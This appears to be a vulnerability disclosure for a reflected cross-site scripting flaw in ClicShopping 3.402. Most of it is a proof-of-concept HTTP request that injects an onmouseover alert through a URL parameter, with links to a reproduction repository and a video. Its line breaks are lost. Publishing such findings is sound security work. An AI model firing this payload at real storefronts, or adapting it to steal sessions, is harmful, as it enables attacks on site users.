ClicShopping 3.402 Cross Site Scripting

## Title: ClicShopping_V3-Version3.402 XSS-Reflected## Author: nu11secur1ty## Date: 11.20.2022## Vendor: https://www.clicshopping.org/forum/## Software: https://github.com/ClicShopping/ClicShopping_V3/releases/tag/version3_402## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3## Description:The name of an arbitrarily supplied URL parameter is copied into thevalue of an HTML tag attribute which is encapsulated in doublequotation marks.The attacker can trick users to open a very dangerous link or he canget sensitive information, also he can destroy some components of yoursystem.## STATUS: HIGH Vulnerability[+] Payload:```jsGET /ClicShopping_V3-version3_402/index.php?Search&AdvancedSearch&bel9c%22onmouseover%3d%22alert(`Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole`)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22zgm9j=1HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Connection: closeCache-Control: max-age=0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3)## Proof and Exploit:[href](https://streamable.com/mgbftx)## Time spent`1:00`